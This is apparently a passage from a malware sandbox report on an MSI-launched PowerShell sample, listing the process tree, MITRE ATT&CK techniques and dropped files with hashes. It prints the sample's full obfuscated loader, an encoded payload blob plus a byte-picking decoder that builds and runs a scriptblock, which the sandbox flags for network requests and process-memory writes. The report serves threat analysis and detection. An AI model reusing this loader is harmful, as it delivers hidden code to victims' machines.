Em0tVu1tii2t0C3uF24uV25ulu6u2W7vHC8vXm9vnS+v1u/wCjAwSDBwinCw13DxHLExXTFxlDGx3THyG7IyUnJylvKyyjLzCDMzSfNzmzOz2zP0GTQ0S7R0jLS0zPT1GzU1WXV1m7W13LX2GXY2WvZ2ifa2yDb3Cfc3XPd3nPe32Xf4HLg4WTh4mTi40Hj5GPk5W/l5nLm51Dn6HTo6WXp6kfq6yfr7CDs7TLt7jLu7zjv8DXw8Tjx8jny80nz9FD09Tv19jL29zL3+Dj4+TX5+jj6+zn7/HP8/WH9/iT+/yD/ACkAASkBAl0CA2cDBG4EBWkFBnIGB3QHCHMICVsJCigKC0ALDF0MDV0NDlsOD2UPEHAQEXkREnQSE1sTFCgUFSAVFikWF10XGHIYGXQZGlAaG3QbHG4cHUkdHlseHygfICAgISchImwiI2wjJGQkJS4lJjImJzMnKGwoKWUpKm4qK3IrLGUsLWstLicuLyAvMCcwMUExMnkyM3IzNGE0NXI1NmI2N2k3OEw4OWQ5OmE6O287PEw8PSc9PiA+PzI/QDJAQThBQjVCQzhDRDlERUlFRlBGRztHSDJISTJJSjhKSzVLTDhMTTlNTnVOT2FPUCRQUSBRUilSUylTVClUVShVVmVWV3BXWHlYWVRZWmZaW2VbXFJcXXldXkJeX2VfYGtgYWFhYk1iYy5jZF1kZTJlZjNmZ3RnaG5oaWlpanVqa1trbCxsbV1tbjJubzNvcHRwcW5xcmlyc3VzdFt0dSx1dl12d3J3eHR4eVB5enR6e257fEl8fVt9fix+f11/gHKAgXSBglCCg3SDhG6EhUmFhluGhyyHiF2IiXKJinSKi1CLjHSMjW6NjkmOj1WPkFuQkSyRkl2Sk3KTlHSUlVCVlnSWl26XmEmYmVuZmiiam0CbnF2cnV2dnluen2WfoHCgoXmhonSio1ujpCikpSClpimmp12nqHKoqXSpqlCqq3SrrG6srUmtrluuryivsCCwsSexsmyys2yztGS0tS61tjK2tzO3uGy4uWW5um66u3K7vGW8vWu9vie+vyC/wCfAwWTBwmHCw2XDxHLExWjFxlTGx2XHyHTIyWHJymXKy3LLzEPMzSfNziDOzzLP0DLQ0TjR0jXS0zjT1DnU1UnV1lDW1zvX2DLY2TLZ2jja2zXb3Djc3Tnd3nXe32Hf4CTg4SDh4ini4ynj5Cnk5Sjl5mXm53Dn6Hno6VTp6mbq62Xr7FLs7Xnt7kLu72Xv8Gvw8WHx8k3y8y7z9F309TL19jP293T3+G74+Wn5+nX6+1v7/Cz8/V39/jL+/zP/AHQAAW4BAmkCA3UDBFsEBSwFBl0GB3IHCHQICVAJCnQKC24LDEkMDVUNDlsODywPEF0QEXIREnQSE1ATFHQUFW4VFkkWF1sXGCgYGUAZGl0aG10bHFscHWUdHnAeH3kfIHQgIVshIigiIyAjJCkkJV0lJmwmJ28nKG8oKWIpKlsqKygrLCAsLSctLmwuL2wvMGQwMS4xMjIyMzMzNGw0NWU1Nm42N3I3OGU4OWs5Oic6OyA7PCc8PXQ9PmM+P2U/QHRAQW9BQnJCQ1BDRGxERWFFRnVGR3RHSHJISWlJSlZKSydLTCBMTTJNTjJOTzhPUDVQUThRUjlSU0lTVFBUVTtVVjJWVzJXWDhYWTVZWjhaWzlbXHVcXWFdXiReXyBfYClgYSlhYl1iYzJjZDNkZXRlZm5mZ2lnaHVoaVtpaixqa11rbDJsbTNtbnRub25vcGlwcXVxcltycyxzdF10dXJ1dnR2d1B3eHR4eW55ekl6e1V7fFt8fSx9fl1+f3J/gHSAgVCBgnSCg26DhEmEhVuFhiiGh0CHiF2IiV2JiluKi2WLjHCMjXmNjnSOj1uPkCiQkSCRkimSk12TlHKUlXSVllCWl3SXmG6YmUmZmluamyibnCCcnSednmyen2yfoGSgoS6hojKiozOjpGykpWWlpm6mp3KnqGWoqWupqieqqyCrrCesrWOtrm+ur2yvsGywsUGxsmyys2GztHW0tXS1tnK2t2m3uFa4uSe5uiC6uzK7vDK8vTi9vjW+vzi/wDnAwUnBwlDCwzvDxH3ExSnFxmfGx2nHyFPIyWXJynbKy3LLzGXMzXPNzmXOz3LP0FDQ0TrR0jrS013T1HPU1WXV1nTW13XX2GLY2WnZ2nLa23Tb3HTc3UHd3mze33Df4G3g4Unh4mTi42/j5Gjk5XTl5mXm503n6C7o6W7p6m/q62nr7HTs7WPt7mXu72zv8Gbw8WXx8lLy81vz9Cj09XP19mf292H3+Gz4+Ub5+m76+2/7/Gn8/XT9/mH+/3T/AG4AAWUBAm0CA2UDBGwEBXAFBm0GB0kHCHQICWUJClMKCy4LDG0MDSQNDjsODykPEHMQEWMREiQSEywTFDIUFTIVFjgWFzUXGDgYGTkZGm4aG3cbHCQcHSwdHnMeH3AfICQgISwhInQiI2UjJHIkJSQlJiwmJzInKDIoKTgpKjUqKzgrLDksLXYtLmMuLyQvMCwwMTIxMjIyMzgzNDU0NTg1Njk2N3Q3OGE4OSQ5Oiw6O2w7PGw8PWQ9PiQ+Pyw/QG5AQSRBQihCQ2RDRG9ERWhFRnRGR2VHSE1ISWVJSmtKS29LTHZMTW5NTklOT1BPUGVQUW5RUmlSU2ZTVGVUVURVVi5WVzJXWDJYWThZWjVaWzhbXDlcXWJdXnReXyRfYD1gYW1hYiRiY3tjZClkZXNlZmNmZyRnaCxoaXNpanBqayRrbCxsbXRtbmVub3JvcCRwcSxxcmxyc2xzdGR0dSR1dix2d253eCR4eSh5ejJ6ezJ7fDh8fTV9fjh+fzl/gEmAgVCBgiCCg26DhG+EhWmFhnSGh2OHiG6IiXWJimaKizuLjGmMjXONjm6Oj0GPkDqQkTqRkl2Sk3STlGWUlVOVlnKWl2GXmGiYmUOZmi6am3ObnGWcnWOdnmmen3afoHKgoWWholOio3CjpG+kpXKlpmWmp3SnqG6oqUmpqi6qq2WrrG2srWmtrnSur26vsHWwsVKxsluysz2ztDK0tTK1tji2tzW3uDi4uTm5unO6u2G7vCS8vTu9vmW+v2S/wG/AwWPBwmnCw27DxFXExTrFxjrGx13HyHTIyWXJylPKy3LLzGHMzWjNzkPOzy7P0HPQ0WXR0mPS02nT1HbU1XLV1mXW11PX2HDY2W/Z2nLa22Xb3HTc3W7d3kne3y7f4GXg4W3h4mni43Tj5G7k5XXl5lLm51vn6D3o6TLp6jLq6zjr7DXs7Tjt7jnu727v8HXw8STx8jvy82/z9HT09XX19kH29zr3+Dr4+V35+nT6+2X7/FP8/XL9/mH+/2j/AEMAAS4BAnMCA2UDBGMEBWkFBnYGB3IHCGUICVMJCnAKC28LDHIMDWUNDnQOD24PEEkQES4REmUSE20TFGkUFXQVFm4WF3UXGFIYGVsZGj0aGzIbHDIcHTgdHjUeHzgfIDkgIXUhImEiIyQjJDskJWklJnAmJ2EnKG4oKWkpKlcqKzorLDosLV0tLm4uL28vMGkwMXQxMm4yM2UzNHY0NW41Nm82N0M3OGc4OW45Omk6O2w7PGw8PWE9PkM+Py4/QHNAQWVBQmNCQ2lDRHZERXJFRmVGR1NHSHBISW9JSnJKS2VLTHRMTW5NTklOTy5PUGVQUW1RUmlSU3RTVG5UVXVVVlJWV1tXWD1YWTJZWjJaWzhbXDVcXThdXjleX25fYHdgYSRhYjtiY2RjZHJkZWFlZmRmZ25naGFoaXRpalNqazprbDpsbV1tbnNub25vcG9wcWlxcnRyc25zdGV0dXZ1dm52d293eEN4eWd5em56e2l7fGx8fWx9fmF+f0N/gC6AgW6Bgm+Cg2mDhHSEhWOFhmWGh2yHiGaIiWWJilKKi1uLjD2MjTKNjjKOjziPkDWQkTiRkjmSk3aTlGOUlSSVljuWlyeXmGOYmWmZmnSam2GbnHScnVOdniyen2OfoGmgoWyhomKio3WjpFCkpSelpl2mp3OnqGWoqXSpqnWqq2KrrGmsrXKtrnSur3SvsEGwsWSxsm+ys2iztHS0tWW1tk22ty63uG64uW+5umm6u3S7vGO8vWW9vmy+v2a/wGXAwVLBwlvCwz3DxDLExTLFxjjGxzXHyDjIyTnJynTKy2HLzCTMzTvNzinOzyfP0HTQ0WnR0m7S00nT1GTU1WzV1mXW12nX2EbY2WXZ2nLa22/b3Gbc3WXd3kLe3yzf4GPg4Wnh4mzi42Lj5HXk5VDl5ifm513n6HPo6WXp6nTq63Xr7GLs7Wnt7nLu73Tv8HTw8UHx8mXy83Dz9Hn09VT19i729273+G/4+Wn5+nT6+2P7/GX8/Wz9/mb+/2X/AFIAAVsBAiwCAycDBDIEBTIFBjgGBzUHCDgICTkJClQKCycLDCgMDWUNDnAOD3kPEFQQEWUREm4SE2kTFGYUFWUVFkQWFy4XGDIYGTIZGjgaGzUbHDgcHTkdHm8eH20fICQgIT0hIjIiIzIjJDgkJTUlJjgmJzknKGIoKXQpKiQqKzsrLCksLSctLjIuLzIvMDgwMTUxMjgyMzkzNG00NSc1Nig2N2U3OGw4OXU5OmQ6O287PE08PWM9Pmk+P20/QGFAQW5BQnlCQ0RDRGVERW5FRmlGR2ZHSGVISURJSi5KSzJLTDJMTThNTjVOTzhPUDlQUWJRUmFSUyRTVD1UVTJVVjJWVzhXWDVYWThZWjlaW29bXG1cXSRdXjteXylfYG5gYXVhYlJiYzpjZDpkZV1lZnNmZ3NnaGVoaWNpamNqa0FrbHJsbWVtbmRub2xvcGlwcXVxckJyc3lzdGx0dWJ1dm12d2V3eHN4eXN5ekF6ey57fHR8fWl9fm1+f0V/gC6AgW6Bgm+Cg2mDhHSEhWOFhmWGh2yHiGaIiWWJilKKi1uLjCyMjTKNjjKOjziPkDWQkTiRkjmSk26TlGGUlSSVliiWl3mXmGyYmWKZmm2am2WbnHOcnXOdnkGen2OfoGmgoW2homGio26jpHmkpUSlpmWmp26nqGmoqWapqmWqq0SrrC6srW6trmmur2GvsG2wsW+xskSys3SztG60tWW1tnK2t3K3uHW4uUO5ujq6uzq7vF28vW69vmm+v2G/wG3AwW/BwkTCw3DDxHDExUHFxlvGxz3HyDLIyTLJyjjKyzXLzDjMzTnNzmLOz2HP0CTQ0TvR0inS0yfT1DLU1TLV1jjW1zXX2DjY2TnZ2k7a2yfb3Cjc3WXd3m3e32Hf4E7g4Xnh4mzi42Lj5G3k5WXl5nPm53Pn6EHo6S7p6m7q62/r7Gns7XTt7mPu72Xv8Gzw8Wbx8mXy81Lz9CD09XT19mP292X3+Gr4+WL5+k/6+y37/Hf8/WX9/k7+/z3/ADIAATIBAjgCAzUDBDgEBTkFBm4GB2EHCCQICTsJCn0KC24LDHIMDXUNDnQOD2UPEHIQEXsREikSE0MTFFQUFVMVFl8WF00XGHAYGWIZGmgaGyQbHCAcHXQdHm8eH24fIC0gISghImYiI2kjJDskJSklJicmJ3MnKHMoKWUpKmMqK28rLHIsLVAtLicuLywvMCcwMUExMmYyM3kzNEc0NVY1Nk82NzE3OFY4OVM5OlY6O2w7PG48PSc9Pig+P2U/QGxAQWJBQmFCQ2lDRHJERWFFRlZGR3RHSG5ISWVJSm1KS25LTG9MTXJNTmlOT3ZPUG5QUUVRUnRSU2VTVEdUVTpVVjpWV11XWHRYWW5ZWmVaW21bXG5cXW9dXnJeX2lfYHZgYW5hYkViY1tjZD1kZUNlZlRmZ1NnaF9oaU1panBqa2JrbGhsbSRtbjtub31vcDtwcX1xcjtyc31zdDB0dSB1dnR2d2l3eHh4eWV5ent6eyl7fDB8fSB9fnR+f2d/gC2AgSCBgimCgzODhFmEhTmFhjiGh3mHiGiIiV+JikWKi06LjEiMjUeNjk2OjySPkCiQkW6RknWSk1KTlDqUlTqVll2WlzKXmDWYmTCZmjaamzibnDWcnUidnluenyifoGagoWmhojuioyejpH2kpX2lpjump2SnqGmoqXCpqi6qq2mrrHCsrSCtrm6ur3KvsHWwsXSxsmWys3KztDu0tTC1tiC2t263uHK4uXW5unS6u2W7vHK8vSm9vim+v2m/wHDAwSDBwnTCw3XDxG/ExSzFxmnGx3PHyCDIyWbJymXKy3LLzCzMzWzNzmzOz3XP0G7Q0SzR0m/S03LT1GXU1VrV1i7W13LX2HTY2VDZ2nTa227b3Enc3Szd3jDe3zDf4DLg4TDh4jDi4zDj5Dnk5TDl5njm5zDn6Czo6WXp6nPq62zr7GHs7Wbt7izu72/v8HLw8WXx8lry8y7z9HL09XT19lD293T3+G74+Un5+iz6+2/7/HL8/WX9/lr+/y7/AHIAAXQBAlACA3QDBG4EBUkFBiwGB2QHCG4ICWEJCm0KC20LDG8MDWMNDiwOD2wPEGwQEXUREm4SEygTFFcUFXMVFnMWF2UXGGMYGW8ZGnIaG1AbHGUcHXQdHmEeH2UfIHIgIUMhIiEiIygjJGYkJWklJjsmJ2knKHAoKSApKkkqK1ArLDssLTAtLj0uL3cvMG8wMWgxMnMyMy4zNGk0NXM1Njs2NzE3OD04OXM5Omc6O2E7PGw8PWY9Pi4+P2k/QHNAQTtBQilCQylDRElERVNFRihGR2ZHSG9ISWVJSnBKS3lLTHRMTShNTmZOT09PUGVQUXpRUmlSU1NTVC5UVWxVVmFWV2hXWHNYWXJZWmFaW01bXD1cXWJdXmNeXy5fYGlgYXNhYjtiYyljZChkZUllZlNmZyBnaHdoaWVpam5qaz1rbGlsbXNtbiBub0lvcFNwcXtxcilyc2RzdG50dWF1dm12d213eG94eWN5eiB6e2d7fG58fWl9fnJ+f3R/gHOAgSiBgm6Cg3WDhFKEhSCFhnSGh26HiGmIiSCJimOKi2mLjHSMjWGNjnSOj3OPkCCQkWORkmmSk2yTlGKUlXWVlnCWlzuXmCmYmWmZmnCamyCbnEmcnVCdniCen3SfoHWgoW+hoiyio2mjpHOkpSClpkmmp1OnqCCoqWapqmWqq3KrrCysrXKtrmmur2SvsCCwsWexsm6ys2mztHK0tXS1tnO2tyy3uHa4uW65umW6uyC7vHK8vXS9vlC+v3S/wG7AwUnBwizCw3PDxGfExWHFxmzGx2bHyCDIyXTJym7Ky2nLzHXMzSzNznTOz2nP0HLQ0WXR0mjS027T1GnU1SDV1mzW12/X2G/Y2WLZ2iza22Hb3HTc3SDd3nLe33Tf4FDg4XTh4m7i40nj5Czk5WHl5nDm5yDn6HLo6XTp6lDq63Tr7G7s7Unt7izu72Tv8G3w8WPx8iDy82fz9G709Wn19nL293T3+HP4+Sz5+nD6+3D7/GH8/SD9/mf+/27/AGkAAXIBAnQCA3MDBCgEBVcFBnMGB3MHCGUICWMJCm8KC3ILDFAMDWUNDnQOD2EPEGUQEXIREkMSEyATFGwUFW8VFm8WF2IXGCAYGW4ZGnIaG2UbHHQcHXgdHmUeHyAfIGMgIWkhInQiI2EjJHQkJXMlJl0mJyknKGUoKWQpKm8qK2MrLGksLW4tLlUuLy4vMHQwMWUxMlMyM3IzNGE0NWg1NkM2Nz03OHQ4OWU5OlM6O3I7PGE8PWg9PkM+Pyw/QGVAQXVBQnJCQ3RDRD1ERXJFRm9GR3JHSHJISUVJSnRKS3NLTGFMTUxNTnROT2VPUFNQUSxRUiJSU2xTVGxUVWRVVi5WVzJXWDNYWWxZWmVaW25bXHJcXWVdXmteXyJfYChgYXRhYnJiY29jZHBkZW1lZklmZ2xnaGxoaURpaltqa31rbDtsbWRtbmlub3RvcCxwcWRxcmlyc3BzdCB0dXR1dm52d2l3eCB4eWN5eml6e2x7fGJ8fXV9fnB+fzt/gGSAgWGBgmWCg3KDhGiEhVSFhmiGhyyHiHOIiXOJimWKi2OLjG+MjXKNjlCOj2iPkCCQkXKRknSSk1CTlHSUlW6VlkmWlyCXmGOYmWmZmmyam2KbnHWcnXCdnnuen0mfoFCgoSChonSio2OjpHWkpXKlpnSmp3OnqCCoqWOpqmmqq2yrrGKsrXWtrnCur12vsCmwsWyxsmGys2mztHS0tW61tmW2t3W3uHG4uWW5ulO6uy67vGS8vW69vmm+v0u/wHTAwXXBwm/Cw3nDxGHExUzFxijGx3THyHXIyW/JynnKy2HLzEzMzXTNzmPOz3XP0HLQ0XTR0lPS01vT1H3U1TvV1kjW13LX2HLY2WXZ2iza20jb3HTc3XXd3m/e3yzf4Ejg4W7h4mni4yzj5DPk5WTl5mXm53bn6HLo6WXp6nPq62Xr7HLs7SDt7nLu73Tv8FDw8XTx8m7y80nz9CD09WP19mn292z3+GL4+XX5+nD6+zv7/DL8/WT9/mX+/3b/AHIAAWUBAnMCA2UDBHIEBSwFBncGB28HCGgICXMJCiAKC3QLDHIMDW8NDmgOD3MPECAQEWMREmkSE2wTFGIUFXUVFnAWFzsXGHMYGWcZGmEaG2wbHGYcHSwdHmweH2wfIGkgIWYhIiwiI2MjJHkkJSwlJmMmJ3gnKCwoKXMpKnkqKywrLHMsLXgtLiwuL3kvMCwwMXgxMiAyM3QzNG40NWk1NiA2N2M3OGk4OWw5OmI6O3U7PHA8PTs9PmU+P2w/QHRAQWlBQnRCQyxDRHBERW9FRnRGR2tHSHNISWVJSmRKSyxLTGRMTWVNTnZOT3JPUGVQUXNRUmVSU3JTVCBUVXJVVnRWV1BXWHRYWW5ZWklaWyBbXGNcXWldXmxeX2JfYHVgYXBhYjtiY2JjZGNkZSBlZnRmZ25naGloaSBpamNqa2lrbGxsbWJtbnVub3BvcHtwcUlxclNycyBzdHR0dWN1dnV2d3J3eHR4eXN5eiB6e2N7fGl8fWx9fmJ+f3V/gHCAgV2BgimCg2WDhGSEhW+FhmOGh2mHiG6IiVWJii6Ki3SLjGWMjVONjnKOj2GPkGiQkUORkj2Sk3STlGWUlVOVlnKWl2GXmGiYmUOZmiyam2ybnGGcnWmdnnSen26foGWgoXWhonGio2WjpFOkpS6lpmSmp26nqGmoqUupqnSqq3WrrG+srXmtrmGur0yvsCiwsXSxsnWys2+ztHm0tWG1tky2t3S3uGO4uXW5unK6u3S7vFO8vVu9vnu+vzK/wDXAwTDBwjbCwzjDxDXExUjFxiDGx3PHyHPIyWHJymzKy2PLzCDMzWPNzmnOz2zP0GLQ0XXR0nDS0zvT1HPU1WXV1mPW12nX2HbY2XLZ2mXa21Pb3HDc3W/d3nLe32Xf4HTg4W7h4kni4y7j5GXk5W3l5mnm53Tn6G7o6XXp6lLq6y7r7G3s7WXt7nTu73Pv8Hnw8VPx8iDy82fz9G709Wn19nP293X3+Dv4+W35+mX6+3T7/HP8/Xn9/lP+/yD/AGcAAW4BAmkCA3MDBHUEBScFBiAGB24HCG8ICWkJCnQKC2kLDG4MDWkNDmYOD2UPEEQQEWUREnASE3kTFFQUFS0VFiAWF2UXGHAYGXkZGlQaGy0bHGQcHWQdHkEeHzsfICcgITEhIiciIz0jJE0kJWglJjcmJ3InKGIoKXMpKmQqK3ErLDosLXYtLm4uL2UvMCQwMTsxMn0yM3szNGg0NWM1NnQ2N2E3OGM4OX05Ojs6O307PDA8PSA9PnQ+P2k/QHhAQWVBQntCQylDRDBERSBFRnRGR2dHSC1ISSBJSmRKS0lLTHNMTXNNTmVOT2NPUG9QUXJRUlBSUy5TVDZUVW1VVlpWV1FXWDhYWVFZWndaW3VbXFJcXTBdXl9eXzhfYDNgYWZhYkliYyRjZCBkZWRlZm5mZ2FnaC1oaSBpajBqayBrbHFsbWVtbi1ubyBvcGVwcXVxcmxyc2FzdFZ0dW51dnJ2d3V3eHR4eWV5elJ6ey57fDZ8fW19flp+f1F/gDiAgVGBgneCg3WDhFKEhTCFhl+GhziHiDOIiWaJikmKiySLjCiMjWaNjmmOjzuPkH2QkWqRkjWSk0mTlHKUlXOVllqWl3eXmEGYmXmZmmiam3GbnCScnT2dnm6en2+foGmgoXShomGio22jpHKkpW+lpmamp26nqEmoqXCpqnWqq3SrrHKsrWGtrnSur1OvsHOwsXOxsmWys2OztG+0tXK1tlC2tzu3uDO4uVm5ujm6uzi7vHm8vWi9vl++v0W/wE7AwUjBwkfCw03DxCTExT3FxmXGx27HyGnIyUzJymTKy27LzGHMzW3Nzm3Oz2/P0EPQ0XvR0kDS0yDT1HPU1XTV1m7W12XX2G3Y2XXZ2mfa23Lb3EHc3S3d3iDe32Xf4HTg4WHh4mXi43Lj5EPk5SDl5mXm523n6GHo6U7p6mTq62/r7Gjs7XTt7mXu703v8C3w8SDx8nPy83Pz9GX09WP19m/293L3+FD4+V/5+jL6+zP7/G78/Wn9/lf+/yD/AGUAAW0BAmECA04DBHMEBXMFBmEGB2wHCEMICS0JCiAKC2QLDG8MDWgNDnQOD2UPEE0QEW0REmkSE0MTFC0UFWUVFmsWF28XGHYYGW4ZGkkaGz0bHDYcHW0dHloeH1EfIDggIVEhInciI3UjJFIkJTAlJl8mJzgnKDMoKWYpKkkqKyQrLDssLX0tLjguLzIvMDcwMTcxMjEyMzIzNDQ0NTM1NjE2N103ODI4OTM5OnQ6O247PGk8PXU9Pls+Pz0/QHNAQWdBQmFCQ2xDREZERWVFRnRGR2FHSGVISXJJSkNKSztLTDBMTV1NTjZOTzFPUHRQUW5RUmlSU3VTVFtUVT1VVndWV29XWGRYWW5ZWmlaW1dbXHdcXW9dXmheX1NfYHtgYUBhYiBiY3ljZHRkZXJlZmVmZ3BnaG9oaXJpalBqay1rbCBsbXltbmxub25vcE9wcXRxcm5yc2VzdGl0dWx1dkN2dy13eCB4eXB5enV6e3R7fHJ8fWF9fnR+f1N/gHOAgXOBgmWCg2ODhG+EhXKFhlCGh1+HiDKIiTOJim6Ki2mLjFeMjSCNjmWOj22PkGGQkU6RknOSk3OTlGGUlWyVlkOWly2XmCCYmWWZmmOam26bnGGcnXSdnnOen26foEmgoW2hommio0OjpC2kpXelpmWmp06nqD2oqWqpqjWqq0mrrHKsrXOtrlqur3evsEGwsXmxsmiys3GztCS0tTu1tnu2t3m3uHK4uXS5uju6u3u7vCm8vWq9vme+v0O/wDbAwWzBwljCw2zDxFPExSTFxiDGx2XHyG7IyS3JyiDKyzPLzFnMzTnNzjjOz3nP0GjQ0V/R0kXS007T1EjU1UfV1k3W1yTX2CjY2WbZ2mna2zvb3Cfc3Tvd3ife3yff4DHg4Sfh4ifi4z3j5E3k5Wjl5jfm53Ln6GLo6XPp6mTq63Hr7Drs7Xbt7m7u72Xv8CTw8SLx8iDy82Pz9C309Sf19iz29yf3+CL4+Sv5+nP6+1z7/GP8/S39/in+/2n/AD8AASgBAicCAyADBGUEBWMFBmEGB2wHCHAICWUJCnIKCy0LDCAMDWoNDmcOD0MPEDYQEWwRElgSE2wTFFMUFSQVFj0WFzMXGFkYGTkZGjgaG3kbHGgcHV8dHkUeH04fIEggIUchIk0iIyQjJDskJWUlJm4mJ2knKEwoKWQpKm4qK2ErLG0sLW0tLm8uL0MvMC4wMSkxMikyM0QzNEk0NVA1NiQ2Nys3OCI4OT05OmQ6O0k7PHM8PXM9PmU+P2M/QG9AQXJBQlBCQyJDRChERSBFRnJGR2VHSHRISWxJSmlKS0ZLTC1MTSBNTnNOT3NPUGVQUWNRUm9SU3JTVFBUVV9VVjJWVzNXWG5YWWlZWldaWyBbXGVcXWNdXm5eX2FfYHRgYXNhYm5iY0ljZG1kZWllZkNmZy1naHRoaWVpakdqayhrbD1sbWptbmdub0NvcDZwcWxxclhyc2xzdFN0dSR1djt2d3t3eCl4eU15emh6ezd7fHJ8fWJ9fnN+f2R/gHGAgTqBgnaCg26DhGWEhSSFhiCGh3SHiG+IiW6Jii2KiyiLjGaMjWmNjjuOjyePkHCQkW+RknSSk1OTlCeUlT2VlmWWl2OXmG6YmWWZmnKam2WbnGacnWWdnnKen1CfoG6goW+hommio3SjpGOkpUGlpnKmp2+nqHKoqXKpqkWqqySrrA==');$fAyzJX9a2m=[byte[]]$ZPvzA_;$w8458=[int]$fAyzJX9a2m[0];$f6806=[int]$fAyzJX9a2m[1];$t8435=[int]$fAyzJX9a2m[2];$n1052=[int](($fAyzJX9a2m.Length - 4) / $w8458);$o6279=New-Object byte[] $n1052;for($r3648=0;$r3648 -lt $n1052;$r3648++){$o6279[$r3648]=$fAyzJX9a2m[4 + ($r3648 * $w8458) + $f6806]};if($t8435 -ne 0){for($r3648=0;$r3648 -lt [int]($n1052 / 2);$r3648++){$a7054=$o6279[$r3648];$o6279[$r3648]=$o6279[$n1052-1-$r3648];$o6279[$n1052-1-$r3648]=$a7054}};$fAyzJX9a2m=$o6279;$mEcHdole8Y=[Text.Encoding]::UTF8.GetString($fAyzJX9a2m);$Y04Mv1kgflOn7u=[scriptblock]::Create($mEcHdole8Y);& $Y04Mv1kgflOn7u"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5892
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ciog5un0\ciog5un0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9159.tmp" "c:\Users\Admin\AppData\Local\Temp\ciog5un0\CSCE2CC314FE3794959BB0816617D5DEF.TMP"
      4⤵
      PID:2500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e597c1d.rbs

Path C:\Config.Msi\e597c1d.rbs
Size 8KB
SHA256 8ed40851620b1891353ab2bfade68e65bd01ef212276b5fe53799c9730cbdf22
MD5 7b69e68395670a11532393ebb2ce1eb8
SHA1 f445118a4755fc65f2894385db0a8c3eb13e7da8
SHA512 78b9d4b65263a377eedb39334e64a41df37db767a229cfc6c5a1db0ff1e50f7d52029e2226d48bfaa7c1688cab11420c6ca7e5cfa1b6932ae0b3ddad0f90744b
SSDEEP 192:kFG8oxjNWt1lIT1lI1WRFpsXm++PupsoeLH07Au9:k9ow1A1K
TLSH
T126025400775682D3F9A82B35C70B036037F6EAEFC751B31B258D84285F43B99EE8915A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES9159.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9159.tmp
Size 1KB
SHA256 d1ef63f647be2ac4dab00a01b8fe358b3f41aef390ac1877810addba0a2c9214
MD5 d02f850b0b6c46201037ac586ffb3ace
SHA1 23088dfc01b6c2d6226fad66a55f38526648d234
SHA512 8fb6befee2f67c0d237011288d32eb7bce96ed99ab02beb6618d87c62c46d23b27e086fd9f5f8e3f56d4ac0e9d142e90482a7202abd29f45f01a05110114fd0a
TLSH
T14121890553F8471FF0B38731A9FA572BA278FD64EFA2676A954403292C51504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jqmkzpa0.ujo.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqmkzpa0.ujo.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ciog5un0.dll

Path C:\Users\Admin\AppData\Local\Temp\ciog5un0\ciog5un0.dll
Size 4KB
SHA256 349887480ba618bee7792b9e0c27161b12cb9baf4433980823853a292d4d85f5
MD5 1c37c8428a621d79534a27a6223d0303
SHA1 e625f849262921479823d4ac4b35e5aa1d41fb85
SHA512 35256b373914f393377a319587523eaaf1e282ad3ef347a066691d9a1f100491c7fa2c16fa6404ffaad34e3cc39f542ef802410076b9c6f055d5ac9b7b48e188
TLSH
T1E2816606ABE84A67E4BB173D9EF303122A74FC106B339B1F0CD492585CA46345E62BF1
MD5 SHA1 SHA512 TLSH

Submit Download

e597c1c.msi

Path C:\Windows\Installer\e597c1c.msi
Size 3.3MB
SHA256 0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733
MD5 113f5dce7f83148cf18f3d447397b18e
SHA1 af4a03053eea8e806770b907060bdb6339987403
SHA512 8cf0751869ff5df4d2b64f702adec4b63e84e4d8e3f86d131aeb92f1f90f72bcf36b72a45d66f3e112c336fe9443912426a591d36424618d60541f6fe07a86f0
SSDEEP 49152:WHX9WA8SZzzXKfoVtnejQq3wOf1sntZCMAT:W3QA8IzDKqUjMK10u
TLSH
T1FEF54B00D499C778E7AF03324EC209289A463B5DD59FD69DFAB525BB808C6FF746812C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 5f9d90b0b6d3316206c87755060d562b4d5c4fd9d1d35e878377f480ef5313c8
MD5 4c6170f72b150520b5ce66a4e82f1f03
SHA1 21a764f12da901ecf8cbc90101d4bf8ca34f9df3
